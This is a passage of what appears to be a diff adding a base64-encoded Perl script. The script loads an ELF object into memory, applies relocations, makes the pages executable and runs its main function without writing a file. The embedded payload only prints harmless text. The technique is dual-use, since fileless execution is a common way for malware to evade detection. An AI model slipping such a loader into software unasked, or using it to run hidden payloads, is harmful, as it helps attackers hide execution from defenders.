+YWJbJHN5bV9zaG5keF17J25hbWUnfTsKCiAgICAgICAgaWYoJHNlY19uYW1lIGVxICcudGV4dCcg
+fHwgJHNlY19uYW1lIGVxICcuZGF0YScgCiAgICAgICAgICAgIHx8ICRzZWNfbmFtZSBlcSAnLnJv
+ZGF0YScgfHwgJHN5bV9zaG5keCA9PSAwKSB7CiAgICAgICAgICAgIG15ICRiYXNlX3B0cjsKICAg
+ICAgICAgICAgbXkgJHBhdGNoX29mZnNldCA9ICR0ZXh0X3B0ciArICRyZWxvY3NbJGldeydyX29m
+ZnNldCd9OwoKICAgICAgICAgICAgJGJhc2VfcHRyID0gJHRleHRfcHRyIGlmKCRzZWNfbmFtZSBl
+cSAnLnRleHQnKTsKICAgICAgICAgICAgJGJhc2VfcHRyID0gJGRhdGFfcHRyIGlmKCRzZWNfbmFt
+ZSBlcSAnLmRhdGEnKTsKICAgICAgICAgICAgJGJhc2VfcHRyID0gJHJvZGF0YV9wdHIgaWYoJHNl
+Y19uYW1lIGVxICcucm9kYXRhJyk7CgogICAgICAgICAgICBteSAkc3ltX2FkZHI7CiAgICAgICAg
+ICAgIGlmKCRzeW1fc2huZHggIT0gMCkgewogICAgICAgICAgICAgICAgJHN5bV9hZGRyID0gJGJh
+c2VfcHRyICsgJHN5bXRhYlskc3ltX25keF17J3N0X3ZhbHVlJ307CiAgICAgICAgICAgIH0gZWxz
+ZSB7CiAgICAgICAgICAgICAgICAjIGV4dGVybmFsIHN5bWJvbHMKCiAgICAgICAgICAgICAgICAj
+IGEgJ2p1bXAgdGFibGUnIGlzIHVzZWQgZm9yIGp1bXBpbmcgdG8gZXh0ZXJuYWwgYWRkcmVzc2Vz
+CiAgICAgICAgICAgICAgICAjIGVhY2ggZW50cnkgb24gdGhlICdqdW1wIHRhYmxlJyB1c2VzIDE0
+IGJ5dGVzOiA4IGJ5dGVzIGZvcgogICAgICAgICAgICAgICAgIyB0aGUgZXh0ZXJuYWwgYWRkcmVz
+cyB3aGVyZSB0byBqdW1wICsgNiBieXRlcyBmb3IgdGhlIGp1bXAKICAgICAgICAgICAgICAgICMg
+aW5zdHJ1Y3Rpb24KCiAgICAgICAgICAgICAgICAjIG9mZnNldCBvbiB0aGUgJ2p1bXAgdGFibGUn
+IGlzIGNhbGN1bGF0ZWQgYmFzZWQgb24gdGhlIG51bWJlcgogICAgICAgICAgICAgICAgIyBvZiBl
+eHRlcm5hbCBzeW1ib2xzOyBmaXJzdCBlbnRyeSBzdGFydHMgYXQgb2Zmc2V0IDAsIHNlY29uZAog
+ICAgICAgICAgICAgICAgIyBhdCBvZmZzZXQgMTQsIHRoaXJkIGF0IG9mZnNldCAyOCwgYW5kIHNv
+IG9uIGFuZCBzbyBmb3J0aAogICAgICAgICAgICAgICAgbXkgJGptcHRhYl9uZHggPSAkam1wdGFi
+X3B0ciArICgkZXh0c3lteyRzeW1fbmFtZX0qMTQpOwoKICAgICAgICAgICAgICAgICMgdGhlIHN5
+bWJvbCBhZGRyZXNzIHVzZWQgZm9yIHRoZSByZWxvY2F0aW9uIGZvcm11bGEgc2hvdWxkCiAgICAg
+ICAgICAgICAgICAjIHBvaW50IHRvIHRoZSBqdW1wIGluc3RydWN0aW9uIGluIHRoZSAnanVtcCB0
+YWJsZScgZW50cnksIHRodXMKICAgICAgICAgICAgICAgICMgdGhlIGZpcnN0IDggYnl0ZXMgYXJl
+IHNraXBwZWQKICAgICAgICAgICAgICAgICRzeW1fYWRkciA9ICRqbXB0YWJfbmR4ICsgODsKCiAg
+ICAgICAgICAgICAgICAjIHRoZSBhY3R1YWwgZXh0ZXJuYWwgc3ltYm9sIGFkZHJlc3MgCiAgICAg
+ICAgICAgICAgICBteSAkZXh0X2FkZHIgPSBEeW5hTG9hZGVyOjpkbF9maW5kX3N5bWJvbCgkbGli
+cmVmLCAkc3ltX25hbWUpOwoKICAgICAgICAgICAgICAgICMgcGFjayBhZGRyZXNzIGluIGxpdHRs
+ZSBlbmRpYW4gb3JkZXIgYW5kIHRoZW4gYXBwZW5kIHRoZSBqdW1wOgogICAgICAgICAgICAgICAg
+IyAweGZmIDB4MjUgZm9yIHRoZSBpbnN0cnVjdGlvbiBpdHNlbGYgYW5kIDB4ZmZmZmZmZjIgPSAt
+MTQgZm9yCiAgICAgICAgICAgICAgICAjIHRoZSBvZmZzZXQgKGp1bXAgMTQgYnl0ZXMgYmFja3dh
+cmRzIHRvIHRoZSBleHRlcm5hbCBhZGRyZXNzKQoKICAgICAgICAgICAgICAgICMgIlYiIGZvcm1h
+dCBpcyA0IGJ5dGVzOyBleHRlcm5hbCBhZGRyZXNzIGlzIDggYnl0ZXMKICAgICAgICAgICAgICAg
+IG15ICgkcDEsICRwMikgPSB1bnBhY2soIlYyIiwgcGFjaygiUSIsICRleHRfYWRkcikpOwogICAg
+ICAgICAgICAgICAgbXkgJGptcHRhYl9lbnRyeSA9IHBhY2soIlYiLCAkcDEpOwogICAgICAgICAg
+ICAgICAgJGptcHRhYl9lbnRyeSAuPSBwYWNrKCJWIiwgJHAyKTsKICAgICAgICAgICAgICAgICRq
+bXB0YWJfZW50cnkgLj0gIlx4ZmZceDI1XHhmMlx4ZmZceGZmXHhmZiI7CgogICAgICAgICAgICAg
+ICAgIyB1cGRhdGUgJ2p1bXAgdGFibGUnIGluIG1lbW9yeQogICAgICAgICAgICAgICAgcG9rZSgk
+am1wdGFiX25keCwgJGptcHRhYl9lbnRyeSwgbGVuZ3RoKCRqbXB0YWJfZW50cnkpKTsKICAgICAg
+ICAgICAgfQogICAgIAogICAgICAgICAgICAjIFJfWDg2XzY0X1BMVDMyICg0KSBhbmQgUl9YODZf
+NjRfUEMzMiAoMikgcmVsb2NhdGlvbnMKICAgICAgICAgICAgIyBpdCB1c2VzIHRoZSBmb3JtdWxh
+ZSBMICsgQSAtIFAgYW5kIFMgKyBBIC0gUCwgYXNzdW1pbmcgTCA9IFMKICAgICAgICAgICAgaWYo
+JHJlbG9jc1skaV17J3R5cGUnfSA9PSA0IG9yICRyZWxvY3NbJGldeyd0eXBlJ30gPT0gMikgewog
+ICAgICAgICAgICAgICAgbXkgJHJlbG8gPSAkc3ltX2FkZHIgKyAkcmVsb2NzWyRpXXsncl9hZGRl
+bmQnfSAtICRwYXRjaF9vZmZzZXQ7CiAgICAgICAgICAgICAgICAjIHBhY2sgaW4gbGl0dGxlIGVu
+ZGlhbiBvcmRlciAoNCBieXRlcykKICAgICAgICAgICAgICAgICRyZWxvID0gcGFjaygiViIsICRy
+ZWxvKTsKICAgICAgICAgICAgICAgICMgYXBwbHkgcmVsb2NhdGlvbiBieSBzaW1wbHkgY29weWlu
+ZyB0aGUgY2FsY3VsYXRlZCBhZGRyZXNzCiAgICAgICAgICAgICAgICAjIGludG8gdGhlIHBhdGNo
+IG9mZnNldCBhZGRyZXNzCiAgICAgICAgICAgICAgICBwb2tlKCRwYXRjaF9vZmZzZXQsICRyZWxv
+LCBsZW5ndGgoJHJlbG8pKTsKICAgICAgICAgICAgfQogICAgICAgIH0gCiAgICB9Cn0KCiMgbWFw
+IGNvZGUgKG1lbW9yeSBtYXAsIHBva2UgY29kZSwgcmVsb2NhdGUsIG1lbW9yeSBwcm90ZWN0KQpz
+dWIgbWFwX2VsZiB7CiAgICBteSAkY29kZSA9IHNoaWZ0OwoKICAgIG15ICRiYXNlX3B0ciA9IG1t
+YXAoMCwgbGVuZ3RoKCRjb2RlKSwgMywgMzMpOwogICAgaWYoJGJhc2VfcHRyID09IC0xKSB7CiAg
+ICAgICAgcHJpbnQgIkZhaWxlZCB0byBhbGxvY2F0ZSBtZW1vcnkgZm9yIEVMRlxuIjsKICAgICAg
+ICBleGl0OwogICAgfQoKICAgIHBva2UoJGJhc2VfcHRyLCAkY29kZSwgbGVuZ3RoKCRjb2RlKSk7
+CgogICAgbXkgJHRleHQgICAgPSAkc2h0YWJbJHRleHRfbmR4XTsKICAgIG15ICRkYXRhICAgID0g
+JHNodGFiWyRkYXRhX25keF07CiAgICBteSAkcm9kYXRhICA9ICRzaHRhYlskcm9kYXRhX25keF07
+CgogICAgIyBzaXplIG9mICdqdW1wIHRhYmxlJyBpcyBudW1iZXIgb2YgZXh0ZXJuYWwgc3ltYm9s
+cyAqIDE0IGJ5dGVzCiAgICBteSAkam1wdGFiX3NpemUgPSAkbnVtX2V4dHN5bSoxNDsKCiAgICAj
+IG1hcCBzZWdtZW50cyBhbmQgJ2p1bXAgdGFibGUnIG5leHQgdG8gZWFjaCBvdGhlcgogICAgbXkg
+JHRleHRfcHRyID0gbW1hcCgKICAgICAgICAwLCAKICAgICAgICBwYWdlX2FsaWduKCR0ZXh0LT57
+J3NoX3NpemUnfSkgKyAKICAgICAgICBwYWdlX2FsaWduKCRkYXRhLT57J3NoX3NpemUnfSkgKyAK
+ICAgICAgICBwYWdlX2FsaWduKCRyb2RhdGEtPnsnc2hfc2l6ZSd9KSArCiAgICAgICAgcGFnZV9h
+bGlnbigkam1wdGFiX3NpemUpLCAKICAgICAgICAzLCAKICAgICAgICAzMwogICAgKTsKICAgIGlm
+ICgkdGV4dF9wdHIgPT0gLTEpIHsKICAgICAgICBwcmludCAiRmFpbGVkIHRvIGFsbG9jYXRlIG1l
+bW9yeSBmb3IgLnRleHRcbiI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIAogICAgbXkgJGRhdGFf
+cHRyICAgPSAkdGV4dF9wdHIgKyBwYWdlX2FsaWduKCR0ZXh0LT57J3NoX3NpemUnfSk7CiAgICBt
+eSAkcm9kYXRhX3B0ciA9ICRkYXRhX3B0ciArIHBhZ2VfYWxpZ24oJGRhdGEtPnsnc2hfc2l6ZSd9
+KTsKICAgIG15ICRqbXB0YWJfcHRyID0gJHJvZGF0YV9wdHIgKyBwYWdlX2FsaWduKCRyb2RhdGEt
+Pnsnc2hfc2l6ZSd9KTsKCiAgICAjIGNvcHkgc2VnbWVudHMgaW50byBtZW1vcnkKICAgIHBva2Uo
+CiAgICAgICAgJHRleHRfcHRyLCAKICAgICAgICBzdWJzdHIoJGNvZGUsICR0ZXh0LT57J3NoX29m
+ZnNldCd9LCAkdGV4dC0+eydzaF9zaXplJ30pCiAgICApOwoKICAgIHBva2UoCiAgICAgICAgJGRh
+dGFfcHRyLCAKICAgICAgICBzdWJzdHIoJGNvZGUsICRkYXRhLT57J3NoX29mZnNldCd9LCAkZGF0
+YS0+eydzaF9zaXplJ30pCiAgICApOwoKICAgIHBva2UoCiAgICAgICAgJHJvZGF0YV9wdHIsIAog
+ICAgICAgIHN1YnN0cigkY29kZSwgJHJvZGF0YS0+eydzaF9vZmZzZXQnfSwgJHJvZGF0YS0+eydz
+aF9zaXplJ30pCiAgICApOwoKICAgIGRvX3JlbG9jcygkdGV4dF9wdHIsICRkYXRhX3B0ciwgJHJv
+ZGF0YV9wdHIsICRqbXB0YWJfcHRyKTsKCiAgICBpZihtcHJvdGVjdCgkdGV4dF9wdHIsICR0ZXh0
+LT57J3NoX3NpemUnfSwgNSkgPT0gLTEpIHsKICAgICAgICBwcmludCAiRmFpbGVkIHRvIG1wcm90
+ZWN0IC50ZXh0XG4iOwogICAgICAgIGV4aXQ7CiAgICB9CgogICAgIyBjaGVjayAucm9kYXRhIHNo
+X3NpemUgZmlyc3QgaW4gY2FzZSBpcyBub3QgZGVmaW5lZAogICAgaWYoZXhpc3RzICRyb2RhdGEt
+Pnsnc2hfc2l6ZSd9KSB7CiAgICAgICAgaWYobXByb3RlY3QoJHJvZGF0YV9wdHIsICRyb2RhdGEt
+Pnsnc2hfc2l6ZSd9LCAxKSA9PSAtMSkgewogICAgICAgICAgICBwcmludCAiRmFpbGVkIHRvIG1w
+cm90ZWN0IC5yb2RhdGFcbiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQoKICAg
+IGlmKG1wcm90ZWN0KCRqbXB0YWJfcHRyLCAkam1wdGFiX3NpemUsIDUpID09IC0xKSB7CiAgICAg
+ICAgcHJpbnQgIkZhaWxlZCB0byBtcHJvdGVjdCBqdW1wIHRhYmxlXG4iOwogICAgICAgIGV4aXQ7
+CiAgICB9CgogICAgIyByZXR1cm4gcG9pbnRlciB0byBzdGFydCBvZiB0aGUgdGV4dCBzZWdtZW50
+CiAgICAjIGl0IHdpbGwgYmUgdXNlZCB0byBjYWxjdWxhdGUgdGhlIHBvaW50ZXIgb2YgdGhlIGZ1
+bmN0aW9uIHRvIGJlIGV4ZWN1dGVkCiAgICByZXR1cm4gJHRleHRfcHRyOwp9CgojIGV4ZWN1dGUg
+bWFwcGVkIGZ1bmN0aW9uIChlLmcuIG1haW4pCnN1YiBleGVjX2Z1bmMgewogICAgbXkgJGZ1bmNf
+bmFtZSAgID0gc2hpZnQ7CiAgICBteSAkdGV4dF9wdHIgICAgPSBzaGlmdDsKICAgIG15ICRmdW5j
+X3B0ciAgICA9ICRmdW5jc3skZnVuY19uYW1lfTsKCiAgICBteSAkZnVuYyA9IER5bmFMb2FkZXI6
+OmRsX2luc3RhbGxfeHN1YigKICAgICAgICAiX2phcGgiLCAjIG5vdCByZWFsbHkgdXNlZAogICAg
+ICAgICR0ZXh0X3B0ciArICRmdW5jX3B0ciwgCiAgICAgICAgX19GSUxFX18gIyBubyBmaWxlCiAg
+ICApOwoKICAgICMgZGVyZWZlcmVuY2UgYW5kIGV4ZWN1dGUKICAgICZ7JGZ1bmN9Owp9CgoKIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIwojIG1haW4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKbXkgKCRj
+b2RlLCAkZmgpID0gcmVhZF9lbGYoKTsKcGFyc2VfZWxmKCRmaCk7Cm15ICR0ZXh0X3B0ciA9IG1h
+cF9lbGYoJGNvZGUpOwpleGVjX2Z1bmMoJ21haW4nLCAkdGV4dF9wdHIpOwoKCiMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMKIyBFTEYgYmluYXJ5IGNvbnRlbnQKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoK
+IyBoYXJkY29kZWQgdG8gYWNoaWV2ZSBmZC1sZXNzIGV4ZWN1dGlvbgojIHBlcmwgLWUgJ3ByaW50
+Im15IFwkY29kZSA9IFwiXCI7XG4iOyQvPVwzMjsnIFwKIyAtZSAncHJpbnQiXCRjb2RlIC49IHBh
+Y2sgcS9IKi8sIHEvIi4odW5wYWNrIkgqIikuIi87XG4iIHdoaWxlKDw+KScgLi9vYmoubwojCiMg
+aGFyZGNvZGVkIEMgY29kZToKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBCRUdJTiBvYmouYyAt
+LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAjaW5jbHVkZSA8c3RkaW8u
+aD4KIyAKIyB2b2lkIHByaW50X2phcGgodm9pZCkgewojICAgICBwdXRjaGFyKCdqJyk7CiMgICAg
+IHB1dGNoYXIoJ2EnKTsKIyAgICAgcHV0Y2hhcigncCcpOwojICAgICBwdXRjaGFyKCdoJyk7CiMg
+ICAgIHB1dGNoYXIoJ1xuJyk7CiMgfQojIAojIGludCBtYWluKHZvaWQpIHsKIyAgICAgY2hhciAq
+c3RyID0gImkgYW0gYW4gZWxmIjsKIyAKIyAgICAgcHJpbnRmKCIlc1xuIiwgc3RyKTsKIyAgICAg
+cHJpbnRfamFwaCgpOwojIAojICAgICByZXR1cm4gMDsKIyB9CiMgLS0tLS0tLS0tLS0tLS0tLS0t
+LS0tLS0gRU5EIG9iai5jIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
+CiMKCnN1YiBnZXRfY29kZSB7CiAgICBteSAkY29kZSA9ICIiOwogICAgJGNvZGUgLj0gcGFjayBx
+L0gqLywgcS83ZjQ1NGM0NjAyMDEwMTAwMDAwMDAwMDAwMDAwMDAwMDAxMDAzZTAwMDEwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAw
+MDAwMDE4MDQwMDAwMDAwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDQwMDAwZDAwMGMwMC87CiAg
+ICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzU1NDg4OWU1YmY2YTAwMDAwMGU4MDAwMDAwMDBiZjYx
+MDAwMDAwZTgwMDAwMDAwMGJmNzAwMDAwMDBlODAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gq
+LywgcS8wMDAwYmY2ODAwMDAwMGU4MDAwMDAwMDBiZjBhMDAwMDAwZTgwMDAwMDAwMDkwNWRjMzU1
+NDg4OWU1NDg4M2VjLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMTA0ODhkMDUwMDAwMDAw
+MDQ4ODk0NWY4NDg4YjQ1Zjg0ODg5YzdlODAwMDAwMDAwZTgwMDAwMDAwMGI4MDAwMC87CiAgICAk
+Y29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDBjOWMzNjkyMDYxNmQyMDYxNmUyMDY1NmM2NjAwMDA0
+NzQzNDMzYTIwMjg0NDY1NjI2OTYxNmUyMDMxMzAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywg
+cS8yZTMyMmUzMTJkMzYyOTIwMzEzMDJlMzIyZTMxMjAzMjMwMzIzMTMwMzEzMTMwMDAxNDAwMDAw
+MDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDE3YTUyMDAwMTc4MTAwMTFi
+MGMwNzA4OTAwMTAwMDAxYzAwMDAwMDFjMDAwMDAwMDAwMDAwMDAzOTAwMDAwMC87CiAgICAkY29k
+ZSAuPSBwYWNrIHEvSCovLCBxLzAwNDEwZTEwODYwMjQzMGQwNjc0MGMwNzA4MDAwMDAwMWMwMDAw
+MDAzYzAwMDAwMDAwMDAwMDAwMmIwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8w
+MDQxMGUxMDg2MDI0MzBkMDY2NjBjMDcwODAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDAxMDAw
+MDAwMDQwMGYxZmYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAu
+PSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDMwMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDMwMDAzMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMwMDA0MDAwMDAwMDAwMDAwMDAw
+MDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDMwMDA1MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBw
+YWNrIHEvSCovLCBxLzAwMDAwMDAwMDMwMDA3MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDMwMDA4MDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMwMDA2MDAwMDAwMDAwMDAwMDAwMDAw
+LzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDA3MDAwMDAwMTIw
+MDAxMDAwMDAwMDAwMDAwMDAwMDAwMzkwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNr
+IHEvSCovLCBxLzEyMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDI4MDAwMDAwMTAwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMwMDAwMDAwMTIwMDAxMDAzOTAwMDAwMDAwMDAwMDAwLzsK
+ICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMmIwMDAwMDAwMDAwMDAwMDM1MDAwMDAwMTAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEv
+SCovLCBxLzAwNmY2MjZhMmU2MzAwNzA3MjY5NmU3NDVmNmE2MTcwNjgwMDVmNDc0YzRmNDI0MTRj
+NWY0ZjQ2NDY1MzQ1NTQvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS81ZjU0NDE0MjRjNDU1
+ZjAwNzA3NTc0NjM2ODYxNzIwMDZkNjE2OTZlMDA3MDc1NzQ3MzAwMDAwMDAwMDAwMDAwLzsKICAg
+ICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMGEwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMGIwMDAwMDBm
+Y2ZmZmZmZmZmZmZmZmZmMTQwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCov
+LCBxLzA0MDAwMDAwMGIwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmMWUwMDAwMDAwMDAwMDAwMDA0MDAw
+MDAwMGIwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS9mY2ZmZmZmZmZmZmZmZmZm
+MjgwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMGIwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmLzsKICAgICRj
+b2RlIC49IHBhY2sgcS9IKi8sIHEvMzIwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMGIwMDAwMDBmY2Zm
+ZmZmZmZmZmZmZmZmNDQwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBx
+LzAyMDAwMDAwMDUwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmNTQwMDAwMDAwMDAwMDAwMDA0MDAwMDAw
+MGQwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS9mY2ZmZmZmZmZmZmZmZmZmNTkw
+MDAwMDAwMDAwMDAwMDA0MDAwMDAwMDkwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmLzsKICAgICRjb2Rl
+IC49IHBhY2sgcS9IKi8sIHEvMjAwMDAwMDAwMDAwMDAwMDAyMDAwMDAwMDIwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAy
+MDAwMDAwMDIwMDAwMDAzOTAwMDAwMDAwMDAwMDAwMDAyZTczNzk2ZDc0NjE2MjAwMmU3Mzc0NzI3
+NDYxNjIvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDJlNzM2ODczNzQ3Mjc0NjE2MjAw
+MmU3MjY1NmM2MTJlNzQ2NTc4NzQwMDJlNjQ2MTc0NjEwMDJlNjI3MzczLzsKICAgICRjb2RlIC49
+IHBhY2sgcS9IKi8sIHEvMDAyZTcyNmY2NDYxNzQ2MTAwMmU2MzZmNmQ2ZDY1NmU3NDAwMmU2ZTZm
+NzQ2NTJlNDc0ZTU1MmQ3Mzc0NjE2My87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzZiMDAy
+ZTcyNjU2YzYxMmU2NTY4NWY2NjcyNjE2ZDY1MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBh
+Y2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMjAwMDAwMDAwMTAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzA2MDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDY0MDAwMDAwMDAwMDAwMDAv
+OwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAxYjAwMDAwMDA0MDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sg
+cS9IKi8sIHEvNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBjMDAyMDAwMDAwMDAwMDAw
+YzAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzBhMDAwMDAwMDEw
+MDAwMDAwODAwMDAwMDAwMDAwMDAwMTgwMDAwMDAwMDAwMDAwMDI2MDAwMDAwMDEwMDAwMDAvOwog
+ICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MGE0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9I
+Ki8sIHEvMDAwMDAwMDAwMDAwMDAwMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMmMw
+MDAwMDAwODAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAzMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwYTQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAvOwogICAg
+JGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAzMTAwMDAwMDAxMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8s
+IHEvMDIwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBhNDAwMDAwMDAwMDAwMDAwMGMwMDAw
+MDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAw
+MTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDM5MDAwMDAwMDEwMDAwMDAvOwogICAgJGNv
+ZGUgLj0gcGFjayBxL0gqLywgcS8zMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGIwMDAw
+MDAwMDAwMDAwMDAyODAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEv
+MDAwMDAwMDAwMDAwMDAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwNDIwMDAwMDAw
+MTAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwZDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAvOwogICAgJGNvZGUg
+Lj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDA1NzAwMDAwMDAxMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDIw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBkODAwMDAwMDAwMDAwMDAwNTgwMDAwMDAwMDAw
+MDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwODAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDUyMDAwMDAwMDQwMDAwMDAvOwogICAgJGNvZGUgLj0g
+cGFjayBxL0gqLywgcS80MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDgwMDMwMDAwMDAw
+MDAwMDAzMDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMGEwMDAw
+MDAwODAwMDAwMDA4MDAwMDAwMDAwMDAwMDAxODAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMjAwMDAw
+MC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
